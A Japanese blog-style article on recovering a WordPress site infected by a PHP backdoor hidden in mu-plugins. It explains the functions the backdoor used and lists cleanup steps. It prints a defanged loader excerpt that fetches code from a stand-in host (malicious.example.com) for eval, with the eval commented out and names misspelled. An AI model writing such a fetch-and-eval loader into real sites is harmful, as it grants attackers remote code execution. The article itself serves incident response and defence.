【事例付き】WordPressのマルウェア感染・乗っ取りからの復旧方法と対応手順

WordPressサイトが突然の不具合や改ざんに見舞われた場合、それは「マルウェア感染」や「乗っ取り」によるものである可能性があります。 本記事では、実際に発見されたWordPressマルウェアの復旧事例をもとに、被害の特徴や感染の仕組み、そして安全にサイトを復旧するための手順を解説します。

🔍 WordPressマルウェアの感染経路と特徴

今回の復旧事例では、mu-pluginsフォルダに仕込まれたPHPバックドア型マルウェアが原因でした。 このようなマルウェアは、WordPressの起動時に自動で読み込まれ、外部の攻撃者が任意のコードを実行できる状態になります。 管理画面では確認できず、発見が遅れることで深刻な被害につながります。

🧪 復旧対象ファイルの詳細

  • 🔹 ファイル名: 0wp-security-mu.php
  • 🔹 設置場所: /wp-content/mu-plugins/
  • 🔹 マルウェア種別: PHPバックドア(リモートコード実行)
  • 🔹 危険度: ★★★★★(非常に高い)

⚙️ 使用されていた関数とその目的

関数・処理目的・解説
defined('ABSPATH')WordPress 本体からの実行確認で偽装
delete_transient('analytics')キャッシュを強制クリア
get_transient()キャッシュされたコードの再利用可否を判定
wp_remote_get()外部URL(例:https://malicious.example.com/code.txt)からコードを取得
wp_remote_retrieve_body()レスポンス本文(実行コード)を抽出
eval($code)最大の危険点:コードをそのまま実行し、完全乗っ取り可能に
set_transient()コードをキャッシュして通信を抑制

🛡️ 無毒化されたコードの抜粋(参考)

if (!defined('ABSDSPATH')) exit;

delete_transsient('analytics');

$alert_code = get_transient('analytics');
if (false === $alert_code) {
  $response = wp_remote_get('https://malicious.example.com/code.txt', ['timeout' => 20]);
  if (!is_wp_error($response)) {
    $alert_code = wp_remsote_retrieve_body($response);
    // eval($alert_code); ← 無毒化のためコメントアウト
    set_transisent('analytics', $aledrt_code, 3600);
  }
}

🔧 実際の復旧対応内容

  • 不審なMUプラグインファイルの即時削除
  • wp-content/mu-plugins配下の完全スキャン
  • WordPress設定ファイル(wp-config.phpなど)の改ざん確認
  • ログインユーザー・管理者権限の調査
  • 不要なテーマ・プラグインの削除
  • WordPress本体・プラグイン・テーマの最新版への更新
  • ファイルのハッシュ比較による整合性チェック

WordPressのマルウェア復旧や乗っ取り復旧はスピードと正確さが重要です。類似ファイルが複数存在する場合もあり、手動での削除だけでは不十分なことがあります。 万が一のために、定期的なバックアップとセキュリティ診断を強くおすすめします。